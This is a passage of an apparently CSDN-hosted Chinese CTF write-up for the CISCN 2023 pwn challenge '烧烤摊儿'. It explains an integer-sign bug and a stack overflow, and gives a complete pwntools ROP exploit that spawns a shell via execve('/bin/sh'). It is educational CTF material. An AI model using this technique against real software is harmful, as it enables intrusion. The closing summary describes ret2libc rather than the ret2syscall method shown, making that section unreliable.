【PWN · ret2syscall】[CISCN 2023 初赛]烧烤摊儿

好久未做ret2syscall

一、题目分析

漏洞点,栈溢出:

然而到该漏洞点,需要“花钱”买下店铺。个人所有的零钱不够。

利用整数溢出(emmmm这里应该不算溢出漏洞,而是代码逻辑不规范,商品个数不能为负数,但类型确实有符号整数),可增加money

此外,由于程序是静态链接的,所有有大量丰富可利用的Gadget可供我们使用

还有一个细节

name在data段,会复制一份我们输入的字节信息。我们可以在name中写入b’/bin/sh\x00….’,而未开启PIE,地址是固定的,因此rdi的值(’/bin/sh\x00’字符串地址)就有了着落。

二、getshell思路:

1、整数溢出增加money

2、“购买店铺”到漏洞点

3、构造payload:b’/bin/sh\x00’+padding+ret2syscall即可

三、exp

from pwn import *
from pwn import p64,u64

context(arch='amd64',log_level='debug')

io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28716)
elf=ELF('./pwn')
# gdb.attach(io)
# input()

io.recvuntil(b'>')
io.sendline(b'2')
io.recvuntil('3. 鸡肉串\n')
io.sendline(b'2')
io.recvuntil('来几串?\n')
io.sendline(b'-100000')
io.recvuntil(b'>')
io.sendline(b'4')
io.recvuntil('老板,你这摊儿,我买了\n')
io.recvuntil('成交\n')
io.recvuntil(b'>')
io.sendline(b'5')
# 0x000000000040264f : pop rdi ; ret
# 0x000000000040a67e : pop rsi ; ret
# 0x0000000000402aae : pop rsp ; ret
# 0x0000000000401b01 : pop rbp ; ret
# 0x0000000000458827 : pop rax ; ret
# 0x00000000004a404b : pop rdx ; pop rbx ; ret
# 0x0000000000402404 : syscall

rdi=0x000000000040264f
rsi=0x000000000040a67e
rdx_rbx=0x0000000004a404b
rax=0x0000000000458827
syscall=0x0000000000402404
bss=0x4e82c0

# 0x4e6000           0x4e9000 rw-p
# 0x4e9000           0x510000 rw-p
# 一开始没注意到name这个data段上可写的变量,想read一个'/bin/sh\x00'到bss段,但是似乎失败了(?)
# read(int fd, void *buf, size_t count);
# read(0,0x4ee000,0x100)
# fd=0
# buf=0x4ee000
# count=0x100
# payload+=p64(rdi)+p64(fd)+p64(rsi)+p64(buf)+p64(rdx_rbp)+p64(0x100)+p64(0)

payload=b'/bin/sh\x00'+b'a'*0x20
# execve(name,0,0)
name=0x4E60F0
payload+=p64(rdi)+p64(name)+p64(rsi)+p64(0)+p64(rdx_rbx)+p64(0)+p64(0)+p64(rax)+p64(59)+p64(syscall)
io.recvuntil('请赐名:\n')
io.sendline(payload)
io.interactive()

总结

回忆ret2syscall

pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值